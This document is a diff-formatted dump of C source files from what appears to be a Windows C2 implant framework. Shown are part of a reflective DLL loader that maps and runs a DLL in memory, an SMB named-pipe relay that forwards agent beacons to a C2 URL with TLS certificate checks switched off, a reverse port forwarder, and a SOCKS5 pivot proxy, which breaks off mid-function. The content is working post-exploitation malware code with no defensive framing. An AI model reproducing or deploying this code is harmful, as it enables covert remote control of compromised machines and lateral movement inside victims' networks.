while (reloc->VirtualAddress && reloc->SizeOfBlock) {
|
||||
ULONG_PTR page = dst + reloc->VirtualAddress;
|
||||
WORD *entry = (WORD *)((uint8_t *)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||||
DWORD cnt = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
for (DWORD i = 0; i < cnt; i++) {
|
||||
int type = entry[i] >> 12;
|
||||
DWORD off = entry[i] & 0x0FFF;
|
||||
#ifdef _WIN64
|
||||
if (type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONG_PTR *)(page + off) += (ULONG_PTR)delta;
|
||||
#endif
|
||||
if (type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD *)(page + off) += (DWORD)delta;
|
||||
}
|
||||
reloc = (PIMAGE_BASE_RELOCATION)((uint8_t *)reloc + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* 7. resolve imports */
|
||||
{
|
||||
DWORD rva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
||||
if (rva) {
|
||||
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(dst + rva);
|
||||
for (; imp->Name; imp++) {
|
||||
char *dllName = (char *)(dst + imp->Name);
|
||||
HMODULE hLib = fLoadLibraryA(dllName);
|
||||
if (!hLib) continue;
|
||||
IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
|
||||
IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk
|
||||
? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk)
|
||||
: iat;
|
||||
for (; ont->u1.AddressOfData; ont++, iat++) {
|
||||
FARPROC proc;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
|
||||
proc = fGetProcAddress(hLib, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
|
||||
else {
|
||||
PIMAGE_IMPORT_BY_NAME ibn =
|
||||
(PIMAGE_IMPORT_BY_NAME)(dst + (DWORD)ont->u1.AddressOfData);
|
||||
proc = fGetProcAddress(hLib, (LPCSTR)ibn->Name);
|
||||
}
|
||||
iat->u1.Function = (ULONG_PTR)proc;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* 8. flush instruction cache */
|
||||
if (fFlushIC && fGetCurrentProc)
|
||||
fFlushIC(fGetCurrentProc(), (LPVOID)dst, imgSz);
|
||||
|
||||
/* 9. Call DllMain */
|
||||
pDllMain_t fDllMain = (pDllMain_t)(dst + dstNt->OptionalHeader.AddressOfEntryPoint);
|
||||
fDllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
return dst;
|
||||
}
|
||||
#endif /* _REFLECTIVE_DLL */
|
||||
@@ -0,0 +1,299 @@
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define RELAY_BUF 262144 /* 256 KB max payload */
|
||||
#define PIPE_INSTANCES 1 /* one agent at a time; increase for concurrent */
|
||||
#define C2_TIMEOUT_MS 30000
|
||||
|
||||
static int g_verbose = 0;
|
||||
|
||||
#define LOG(fmt, ...) \
|
||||
do \
|
||||
{ \
|
||||
if (g_verbose) \
|
||||
fprintf(stdout, "[relay] " fmt "\n", ##__VA_ARGS__); \
|
||||
} while (0)
|
||||
#define ERR(fmt, ...) fprintf(stderr, "[relay] ERROR " fmt "\n", ##__VA_ARGS__)
|
||||
|
||||
/* pipe I/O helpers */
|
||||
|
||||
static BOOL pipe_read_exact(HANDLE h, void *buf, DWORD len)
|
||||
{
|
||||
DWORD done = 0;
|
||||
while (done < len)
|
||||
{
|
||||
DWORD nr = 0;
|
||||
if (!ReadFile(h, (char *)buf + done, len - done, &nr, NULL) || nr == 0)
|
||||
return FALSE;
|
||||
done += nr;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL pipe_write_exact(HANDLE h, const void *buf, DWORD len)
|
||||
{
|
||||
DWORD done = 0;
|
||||
while (done < len)
|
||||
{
|
||||
DWORD nw = 0;
|
||||
if (!WriteFile(h, (const char *)buf + done, len - done, &nw, NULL) || nw == 0)
|
||||
return FALSE;
|
||||
done += nw;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/* wide-string helper */
|
||||
|
||||
static wchar_t *to_wide(const char *s)
|
||||
{
|
||||
int n = MultiByteToWideChar(CP_UTF8, 0, s, -1, NULL, 0);
|
||||
if (n <= 0)
|
||||
return NULL;
|
||||
wchar_t *w = (wchar_t *)malloc((size_t)n * sizeof(wchar_t));
|
||||
if (w)
|
||||
MultiByteToWideChar(CP_UTF8, 0, s, -1, w, n);
|
||||
return w;
|
||||
}
|
||||
|
||||
/* ---- WinHTTP POST → C2 ---- */
|
||||
|
||||
static char *c2_post(const char *url, const char *body_json)
|
||||
{
|
||||
wchar_t *url_w = to_wide(url);
|
||||
if (!url_w)
|
||||
return NULL;
|
||||
|
||||
wchar_t host[512] = {0};
|
||||
wchar_t path[1024] = {0};
|
||||
|
||||
URL_COMPONENTS uc = {0};
|
||||
uc.dwStructSize = sizeof(uc);
|
||||
uc.lpszHostName = host;
|
||||
uc.dwHostNameLength = 512;
|
||||
uc.lpszUrlPath = path;
|
||||
uc.dwUrlPathLength = 1024;
|
||||
|
||||
if (!WinHttpCrackUrl(url_w, 0, 0, &uc))
|
||||
{
|
||||
free(url_w);
|
||||
return NULL;
|
||||
}
|
||||
free(url_w);
|
||||
|
||||
BOOL secure = (uc.nScheme == INTERNET_SCHEME_HTTPS);
|
||||
INTERNET_PORT port = uc.nPort ? uc.nPort : (INTERNET_PORT)(secure ? 443 : 80);
|
||||
|
||||
HINTERNET hSess = WinHttpOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
if (!hSess)
|
||||
return NULL;
|
||||
|
||||
HINTERNET hConn = WinHttpConnect(hSess, host, port, 0);
|
||||
if (!hConn)
|
||||
{
|
||||
WinHttpCloseHandle(hSess);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD flags = secure ? WINHTTP_FLAG_SECURE : 0;
|
||||
HINTERNET hReq = WinHttpOpenRequest(hConn, L"POST",
|
||||
path[0] ? path : L"/",
|
||||
NULL, WINHTTP_NO_REFERER,
|
||||
WINHTTP_DEFAULT_ACCEPT_TYPES, flags);
|
||||
if (!hReq)
|
||||
{
|
||||
WinHttpCloseHandle(hConn);
|
||||
WinHttpCloseHandle(hSess);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
WinHttpAddRequestHeaders(hReq,
|
||||
L"Content-Type: application/json\r\nAccept: application/json",
|
||||
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
|
||||
/* skip cert validation for self-signed C2 certs */
|
||||
if (secure)
|
||||
{
|
||||
DWORD opt = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &opt, sizeof(opt));
|
||||
}
|
||||
|
||||
WinHttpSetTimeouts(hReq, C2_TIMEOUT_MS, C2_TIMEOUT_MS,
|
||||
C2_TIMEOUT_MS, C2_TIMEOUT_MS);
|
||||
|
||||
DWORD body_len = (DWORD)strlen(body_json);
|
||||
BOOL ok = WinHttpSendRequest(hReq,
|
||||
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
(LPVOID)body_json, body_len, body_len, 0);
|
||||
if (!ok || !WinHttpReceiveResponse(hReq, NULL))
|
||||
{
|
||||
WinHttpCloseHandle(hReq);
|
||||
WinHttpCloseHandle(hConn);
|
||||
WinHttpCloseHandle(hSess);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* read response */
|
||||
char *resp = NULL;
|
||||
size_t resp_len = 0;
|
||||
DWORD avail = 0;
|
||||
|
||||
while (WinHttpQueryDataAvailable(hReq, &avail) && avail > 0)
|
||||
{
|
||||
char *tmp = (char *)realloc(resp, resp_len + avail + 1);
|
||||
if (!tmp)
|
||||
break;
|
||||
resp = tmp;
|
||||
DWORD nr = 0;
|
||||
WinHttpReadData(hReq, resp + resp_len, avail, &nr);
|
||||
resp_len += nr;
|
||||
resp[resp_len] = '\0';
|
||||
}
|
||||
|
||||
WinHttpCloseHandle(hReq);
|
||||
WinHttpCloseHandle(hConn);
|
||||
WinHttpCloseHandle(hSess);
|
||||
|
||||
return resp;
|
||||
}
|
||||
|
||||
/* relay loop: read from pipe, forward to C2, write response back */
|
||||
|
||||
static void relay_loop(HANDLE hPipe, const char *c2_url)
|
||||
{
|
||||
char *in_buf = (char *)malloc(RELAY_BUF);
|
||||
char *out_buf = (char *)malloc(RELAY_BUF);
|
||||
if (!in_buf || !out_buf)
|
||||
{
|
||||
ERR("malloc failed");
|
||||
free(in_buf);
|
||||
free(out_buf);
|
||||
return;
|
||||
}
|
||||
|
||||
for (;;)
|
||||
{
|
||||
LOG("waiting for agent connection...");
|
||||
|
||||
/* wait for agent to connect */
|
||||
BOOL connected = ConnectNamedPipe(hPipe, NULL)
|
||||
? TRUE
|
||||
: (GetLastError() == ERROR_PIPE_CONNECTED);
|
||||
if (!connected)
|
||||
{
|
||||
ERR("ConnectNamedPipe failed (%lu)", GetLastError());
|
||||
break;
|
||||
}
|
||||
LOG("agent connected");
|
||||
|
||||
/* read beacon: 4-byte LE length + payload */
|
||||
uint32_t in_len = 0;
|
||||
if (!pipe_read_exact(hPipe, &in_len, 4) || in_len == 0 || in_len >= RELAY_BUF)
|
||||
{
|
||||
ERR("bad beacon length %u", in_len);
|
||||
goto next;
|
||||
}
|
||||
if (!pipe_read_exact(hPipe, in_buf, in_len))
|
||||
{
|
||||
ERR("pipe read beacon failed");
|
||||
goto next;
|
||||
}
|
||||
in_buf[in_len] = '\0';
|
||||
LOG("beacon recv %u bytes", in_len);
|
||||
|
||||
/* forward to C2 */
|
||||
char *resp = c2_post(c2_url, in_buf);
|
||||
if (!resp)
|
||||
{
|
||||
ERR("c2_post failed — sending empty task");
|
||||
resp = strdup("{\"p\":\"\"}");
|
||||
if (!resp)
|
||||
goto next;
|
||||
}
|
||||
LOG("c2 response: %.80s", resp);
|
||||
|
||||
/* write task back: 4-byte LE length + C2 response */
|
||||
uint32_t out_len = (uint32_t)strlen(resp);
|
||||
BOOL ok = pipe_write_exact(hPipe, &out_len, 4) &&
|
||||
pipe_write_exact(hPipe, resp, out_len);
|
||||
free(resp);
|
||||
|
||||
if (!ok)
|
||||
ERR("pipe write task failed");
|
||||
else
|
||||
LOG("task sent %u bytes", out_len);
|
||||
|
||||
next:
|
||||
FlushFileBuffers(hPipe);
|
||||
DisconnectNamedPipe(hPipe);
|
||||
LOG("disconnected, looping");
|
||||
}
|
||||
|
||||
free(in_buf);
|
||||
free(out_buf);
|
||||
}
|
||||
|
||||
/* entry point */
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
const char *pipe_name = NULL;
|
||||
const char *c2_url = NULL;
|
||||
|
||||
for (int i = 1; i < argc; i++)
|
||||
{
|
||||
if (strcmp(argv[i], "--pipe") == 0 && i + 1 < argc)
|
||||
pipe_name = argv[++i];
|
||||
else if (strcmp(argv[i], "--c2") == 0 && i + 1 < argc)
|
||||
c2_url = argv[++i];
|
||||
else if (strcmp(argv[i], "--verbose") == 0)
|
||||
g_verbose = 1;
|
||||
}
|
||||
|
||||
if (!pipe_name || !c2_url)
|
||||
{
|
||||
fprintf(stderr, "usage: smb_relay.exe --pipe <name> --c2 <beacon_url> [--verbose]\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
char full_pipe[512];
|
||||
snprintf(full_pipe, sizeof(full_pipe), "\\\\.\\pipe\\%s", pipe_name);
|
||||
|
||||
wchar_t full_pipe_w[512];
|
||||
MultiByteToWideChar(CP_UTF8, 0, full_pipe, -1, full_pipe_w, 512);
|
||||
|
||||
LOG("creating pipe %s", full_pipe);
|
||||
LOG("c2 url: %s", c2_url);
|
||||
|
||||
HANDLE hPipe = CreateNamedPipeW(
|
||||
full_pipe_w,
|
||||
PIPE_ACCESS_DUPLEX,
|
||||
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
|
||||
PIPE_INSTANCES,
|
||||
RELAY_BUF, RELAY_BUF,
|
||||
0, /* default timeout */
|
||||
NULL /* default security */
|
||||
);
|
||||
|
||||
if (hPipe == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
ERR("CreateNamedPipe failed (%lu)", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
LOG("pipe created, entering relay loop");
|
||||
relay_loop(hPipe, c2_url);
|
||||
|
||||
CloseHandle(hPipe);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,300 @@
|
||||
#include "socks.h"
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define RPORTFWD_BUF 65536
|
||||
#define RPORTFWD_MAX 16
|
||||
|
||||
typedef struct
|
||||
{
|
||||
unsigned short lport;
|
||||
char rhost[256];
|
||||
unsigned short rport;
|
||||
SOCKET lsock;
|
||||
HANDLE thread;
|
||||
volatile LONG running;
|
||||
} fwd_entry_t;
|
||||
|
||||
static fwd_entry_t g_fwds[RPORTFWD_MAX];
|
||||
static CRITICAL_SECTION g_lock;
|
||||
static LONG g_init = 0;
|
||||
|
||||
static void _init(void)
|
||||
{
|
||||
if (InterlockedCompareExchange(&g_init, 1, 0) == 0)
|
||||
{
|
||||
InitializeCriticalSection(&g_lock);
|
||||
for (int i = 0; i < RPORTFWD_MAX; i++)
|
||||
{
|
||||
memset(&g_fwds[i], 0, sizeof(g_fwds[i]));
|
||||
g_fwds[i].lsock = INVALID_SOCKET;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* per-connection relay context */
|
||||
typedef struct
|
||||
{
|
||||
SOCKET client;
|
||||
char rhost[256];
|
||||
unsigned short rport;
|
||||
} relay_arg_t;
|
||||
|
||||
static DWORD WINAPI _relay_thread(LPVOID arg)
|
||||
{
|
||||
relay_arg_t *ra = (relay_arg_t *)arg;
|
||||
SOCKET cli = ra->client;
|
||||
|
||||
char portstr[8];
|
||||
snprintf(portstr, sizeof(portstr), "%u", ra->rport);
|
||||
|
||||
struct addrinfo hints, *res = NULL;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
SOCKET rem = INVALID_SOCKET;
|
||||
if (getaddrinfo(ra->rhost, portstr, &hints, &res) == 0 && res)
|
||||
{
|
||||
rem = socket(res->ai_family, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (rem != INVALID_SOCKET)
|
||||
{
|
||||
if (connect(rem, res->ai_addr, (int)res->ai_addrlen) != 0)
|
||||
{
|
||||
closesocket(rem);
|
||||
rem = INVALID_SOCKET;
|
||||
}
|
||||
}
|
||||
freeaddrinfo(res);
|
||||
}
|
||||
|
||||
if (rem == INVALID_SOCKET)
|
||||
{
|
||||
closesocket(cli);
|
||||
free(ra);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char *buf = (char *)malloc(RPORTFWD_BUF);
|
||||
if (buf)
|
||||
{
|
||||
for (;;)
|
||||
{
|
||||
fd_set rd;
|
||||
FD_ZERO(&rd);
|
||||
FD_SET(cli, &rd);
|
||||
FD_SET(rem, &rd);
|
||||
SOCKET mx = (cli > rem ? cli : rem) + 1;
|
||||
struct timeval tv = {30, 0};
|
||||
if (select((int)mx, &rd, NULL, NULL, &tv) <= 0)
|
||||
break;
|
||||
if (FD_ISSET(cli, &rd))
|
||||
{
|
||||
int n = recv(cli, buf, RPORTFWD_BUF, 0);
|
||||
if (n <= 0 || send(rem, buf, n, 0) <= 0)
|
||||
break;
|
||||
}
|
||||
if (FD_ISSET(rem, &rd))
|
||||
{
|
||||
int n = recv(rem, buf, RPORTFWD_BUF, 0);
|
||||
if (n <= 0 || send(cli, buf, n, 0) <= 0)
|
||||
break;
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
}
|
||||
|
||||
closesocket(rem);
|
||||
closesocket(cli);
|
||||
free(ra);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static DWORD WINAPI _listener_thread(LPVOID arg)
|
||||
{
|
||||
fwd_entry_t *e = (fwd_entry_t *)arg;
|
||||
|
||||
while (e->running && e->lsock != INVALID_SOCKET)
|
||||
{
|
||||
struct sockaddr_in peer;
|
||||
int plen = sizeof(peer);
|
||||
SOCKET cli = accept(e->lsock, (struct sockaddr *)&peer, &plen);
|
||||
if (cli == INVALID_SOCKET)
|
||||
break;
|
||||
|
||||
relay_arg_t *ra = (relay_arg_t *)malloc(sizeof(relay_arg_t));
|
||||
if (!ra)
|
||||
{
|
||||
closesocket(cli);
|
||||
continue;
|
||||
}
|
||||
ra->client = cli;
|
||||
strncpy(ra->rhost, e->rhost, 255);
|
||||
ra->rhost[255] = '\0';
|
||||
ra->rport = e->rport;
|
||||
|
||||
HANDLE ht = CreateThread(NULL, 0, _relay_thread, ra, 0, NULL);
|
||||
if (!ht)
|
||||
{
|
||||
closesocket(cli);
|
||||
free(ra);
|
||||
continue;
|
||||
}
|
||||
CloseHandle(ht);
|
||||
}
|
||||
|
||||
InterlockedExchange(&e->running, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* public API */
|
||||
|
||||
int rportfwd_start(unsigned short lport, const char *rhost, unsigned short rport,
|
||||
char *out, size_t outsz)
|
||||
{
|
||||
_init();
|
||||
|
||||
WSADATA wsa;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsa);
|
||||
|
||||
EnterCriticalSection(&g_lock);
|
||||
|
||||
for (int i = 0; i < RPORTFWD_MAX; i++)
|
||||
{
|
||||
if (g_fwds[i].running && g_fwds[i].lport == lport)
|
||||
{
|
||||
LeaveCriticalSection(&g_lock);
|
||||
snprintf(out, outsz, "[rportfwd] port %u already active\n", lport);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
int slot = -1;
|
||||
for (int i = 0; i < RPORTFWD_MAX; i++)
|
||||
{
|
||||
if (!g_fwds[i].running)
|
||||
{
|
||||
slot = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (slot < 0)
|
||||
{
|
||||
LeaveCriticalSection(&g_lock);
|
||||
snprintf(out, outsz, "[rportfwd] max %d forwards reached\n", RPORTFWD_MAX);
|
||||
return -1;
|
||||
}
|
||||
|
||||
fwd_entry_t *e = &g_fwds[slot];
|
||||
e->lport = lport;
|
||||
strncpy(e->rhost, rhost, 255);
|
||||
e->rhost[255] = '\0';
|
||||
e->rport = rport;
|
||||
|
||||
e->lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (e->lsock == INVALID_SOCKET)
|
||||
{
|
||||
LeaveCriticalSection(&g_lock);
|
||||
snprintf(out, outsz, "[rportfwd] socket() failed: %d\n", WSAGetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
int opt = 1;
|
||||
setsockopt(e->lsock, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt));
|
||||
|
||||
struct sockaddr_in sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = INADDR_ANY;
|
||||
sa.sin_port = htons(lport);
|
||||
|
||||
if (bind(e->lsock, (struct sockaddr *)&sa, sizeof(sa)) != 0 ||
|
||||
listen(e->lsock, SOMAXCONN) != 0)
|
||||
{
|
||||
closesocket(e->lsock);
|
||||
e->lsock = INVALID_SOCKET;
|
||||
LeaveCriticalSection(&g_lock);
|
||||
snprintf(out, outsz, "[rportfwd] bind/listen %u failed: %d\n",
|
||||
lport, WSAGetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
InterlockedExchange(&e->running, 1);
|
||||
e->thread = CreateThread(NULL, 0, _listener_thread, e, 0, NULL);
|
||||
if (!e->thread)
|
||||
{
|
||||
closesocket(e->lsock);
|
||||
e->lsock = INVALID_SOCKET;
|
||||
InterlockedExchange(&e->running, 0);
|
||||
LeaveCriticalSection(&g_lock);
|
||||
snprintf(out, outsz, "[rportfwd] CreateThread failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&g_lock);
|
||||
snprintf(out, outsz, "[rportfwd] 0.0.0.0:%u → %s:%u\n", lport, rhost, rport);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int rportfwd_stop(unsigned short lport, char *out, size_t outsz)
|
||||
{
|
||||
_init();
|
||||
EnterCriticalSection(&g_lock);
|
||||
|
||||
for (int i = 0; i < RPORTFWD_MAX; i++)
|
||||
{
|
||||
fwd_entry_t *e = &g_fwds[i];
|
||||
if (e->running && e->lport == lport)
|
||||
{
|
||||
InterlockedExchange(&e->running, 0);
|
||||
if (e->lsock != INVALID_SOCKET)
|
||||
{
|
||||
closesocket(e->lsock);
|
||||
e->lsock = INVALID_SOCKET;
|
||||
}
|
||||
if (e->thread)
|
||||
{
|
||||
WaitForSingleObject(e->thread, 2000);
|
||||
CloseHandle(e->thread);
|
||||
e->thread = NULL;
|
||||
}
|
||||
LeaveCriticalSection(&g_lock);
|
||||
snprintf(out, outsz, "[rportfwd] stopped port %u\n", lport);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&g_lock);
|
||||
snprintf(out, outsz, "[rportfwd] port %u not found\n", lport);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int rportfwd_list(char *out, size_t outsz)
|
||||
{
|
||||
_init();
|
||||
EnterCriticalSection(&g_lock);
|
||||
|
||||
size_t pos = 0;
|
||||
int found = 0;
|
||||
for (int i = 0; i < RPORTFWD_MAX; i++)
|
||||
{
|
||||
fwd_entry_t *e = &g_fwds[i];
|
||||
if (!e->running)
|
||||
continue;
|
||||
int n = snprintf(out + pos, outsz - pos,
|
||||
"[rportfwd] 0.0.0.0:%u → %s:%u\n",
|
||||
e->lport, e->rhost, e->rport);
|
||||
if (n > 0)
|
||||
pos += (size_t)n;
|
||||
found++;
|
||||
}
|
||||
if (!found)
|
||||
snprintf(out, outsz, "[rportfwd] no active forwards\n");
|
||||
|
||||
LeaveCriticalSection(&g_lock);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
#include "socks.h"
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#define SOCKS_BUF 65536
|
||||
#define SOCKS_AUTH_NONE 0x00
|
||||
#define SOCKS_CMD_CONNECT 0x01
|
||||
#define SOCKS_ATYP_IPV4 0x01
|
||||
#define SOCKS_ATYP_FQDN 0x03
|
||||
#define SOCKS_ATYP_IPV6 0x04
|
||||
|
||||
static SOCKET g_listen = INVALID_SOCKET;
|
||||
static HANDLE g_thread = NULL;
|
||||
static volatile LONG g_running = 0;
|
||||
|
||||
/* per-client relay context */
|
||||
typedef struct { SOCKET client; SOCKET remote; } relay_t;
|
||||
|
||||
static int _recv_all(SOCKET s, char *buf, int n)
|
||||
{
|
||||
int got = 0;
|
||||
while (got < n) {
|
||||
int r = recv(s, buf + got, n - got, 0);
|
||||
if (r <= 0) return -1;
|
||||
got += r;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
static void _relay(SOCKET c, SOCKET r)
|
||||
{
|
||||
char *buf = (char *)malloc(SOCKS_BUF);
|
||||
if (!buf) return;
|
||||
|
||||
while (1) {
|
||||
fd_set rd;
|
||||
FD_ZERO(&rd);
|
||||
FD_SET(c, &rd);
|
||||
FD_SET(r, &rd);
|
||||
SOCKET maxfd = (c > r ? c : r) + 1;
|
||||
|
||||
struct timeval tv = {30, 0};
|
||||
int rc = select((int)maxfd, &rd, NULL, NULL, &tv);
|
||||
if (rc <= 0) break;
|
||||
|
||||
if (FD_ISSET(c, &rd)) {
|
||||
int n = recv(c, buf, SOCKS_BUF, 0);
|
||||
if (n <= 0) break;
|
||||
if (send(r, buf, n, 0) <= 0) break;
|
||||
}
|
||||
if (FD_ISSET(r, &rd)) {
|
||||
int n = recv(r, buf, SOCKS_BUF, 0);
|
||||
if (n <= 0) break;
|
||||
if (send(c, buf, n, 0) <= 0) break;
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
}
|
||||
|
||||
/* client handler thread */
|
||||
static DWORD WINAPI _client_thread(LPVOID arg)
|
||||
{
|
||||
relay_t *ctx = (relay_t *)arg;
|
||||
SOCKET cli = ctx->client;
|
||||
free(ctx);
|
||||
|
||||
char buf[512];
|
||||
|
||||
/* step 1: version + method negotiation */
|
||||
if (_recv_all(cli, buf, 2) < 0) goto done;
|
||||
if ((unsigned char)buf[0] != 5) goto done; /* not SOCKS5 */
|
||||
|
||||
int nmeth = (unsigned char)buf[1];
|
||||
if (nmeth < 1 || nmeth > 255) goto done;
|
||||
if (_recv_all(cli, buf, nmeth) < 0) goto done;
|
||||
|
||||
/* Respond: SOCKS5, no-auth */
|
||||
char reply2[2] = {5, SOCKS_AUTH_NONE};
|
||||
send(cli, reply2, 2, 0);
|
||||
|
||||
/* step 2: parse SOCKS5 request */
|
||||
if (_recv_all(cli, buf, 4) < 0) goto done;
|
||||
/* buf[0]=5, buf[1]=cmd, buf[2]=0, buf[3]=atyp */
|
||||
if ((unsigned char)buf[0] != 5) goto done;
|
||||
if ((unsigned char)buf[1] != SOCKS_CMD_CONNECT) {
|
||||
/* Command not supported */
|
||||
char err[10] = {5,7,0,1, 0,0,0,0, 0,0};
|
||||
send(cli, err, sizeof(err), 0);
|
||||
goto done;
|
||||
}
|
||||
|
||||
char host[256] = {0};
|
||||
unsigned short port = 0;
|
||||
unsigned char atyp = (unsigned char)buf[3];
|
||||
|
||||
if (atyp == SOCKS_ATYP_IPV4) {
|
||||
unsigned char ipb[4];
|
||||
if (_recv_all(cli, (char *)ipb, 4) < 0) goto done;
|
||||
if (_recv_all(cli, (char *)&port, 2) < 0) goto done;
|
||||
port = ntohs(port);
|
||||
snprintf(host, sizeof(host), "%u.%u.%u.%u",
|
||||
ipb[0], ipb[1], ipb[2], ipb[3]);
|
||||
|
||||
} else if (atyp == SOCKS_ATYP_FQDN) {
|
||||
unsigned char len;
|
||||
if (_recv_all(cli, (char *)&len, 1) < 0) goto done;
|
||||
if (_recv_all(cli, host, len) < 0) goto done;
|
||||
host[len] = '\0';
|
||||
if (_recv_all(cli, (char *)&port, 2) < 0) goto done;
|
||||
port = ntohs(port);
|
||||
|
||||
} else {
|
||||
/* IPv6 not supported — send error */
|
||||
char err[10] = {5,8,0,1, 0,0,0,0, 0,0};
|
||||
send(cli, err, sizeof(err), 0);
|
||||
goto done;
|
||||
}
|
||||
|
||||
/* step 3: connect to target host */
|
||||
struct addrinfo hints, *res = NULL;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
char portstr[8];
|
||||
snprintf(portstr, sizeof(portstr), "%u", port);
|
||||
if (getaddrinfo(host, portstr, &hints, &res) != 0 || !res) {
|
||||
char err[10] = {5,4,0,1, 0,0,0,0, 0,0};
|
||||
send(cli, err, sizeof(err), 0);
|
||||
goto done;
|
||||
}
|
||||
|
||||
SOCKET rem = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (rem == INVALID_SOCKET) {
|
||||
freeaddrinfo(res);
|
||||
char err[10] = {5,1,0,1, 0,0,0,0, 0,0};
|
||||
send(cli, err, sizeof(err), 0);
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (connect(rem, res->ai_addr, (int)res->ai_addrlen) != 0) {
|
||||
freeaddrinfo(res);
|
||||
closesocket(rem);
|
||||
char err[10] = {5,5,0,1, 0,0,0,0, 0,0};
|
||||
send(cli, err, sizeof(err), 0);
|
||||
goto done;
|
||||
}
|
||||
freeaddrinfo(res);
|
||||
|
||||
/* Success reply: 5 0 0 1 0.0.0.0:0 */
|
||||
char ok[10] = {5,0,0,1, 0,0,0,0, 0,0};
|
||||
send(cli, ok, sizeof(ok), 0);
|
||||
|
||||
/* step 4: relay traffic */
|
||||
_relay(cli, rem);
|
||||
closesocket(rem);
|
||||
|
||||
done:
|
||||
closesocket(cli);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* listener thread */
|
||||
static DWORD WINAPI _listen_thread(LPVOID arg)
|
||||
{
|
||||
(void)arg;
|
||||
while (g_running && g_listen != INVALID_SOCKET) {
|
||||
struct sockaddr_in peer;
|
||||
int plen = sizeof(peer);
|
||||
SOCKET cli = accept(g_listen, (struct sockaddr *)&peer, &plen);
|
||||
if (cli == INVALID_SOCKET) break;
|
||||
|
||||
relay_t *ctx = (relay_t *)malloc(sizeof(relay_t));
|
||||
if (!ctx) { closesocket(cli); continue; }
|
||||
ctx->client = cli;
|
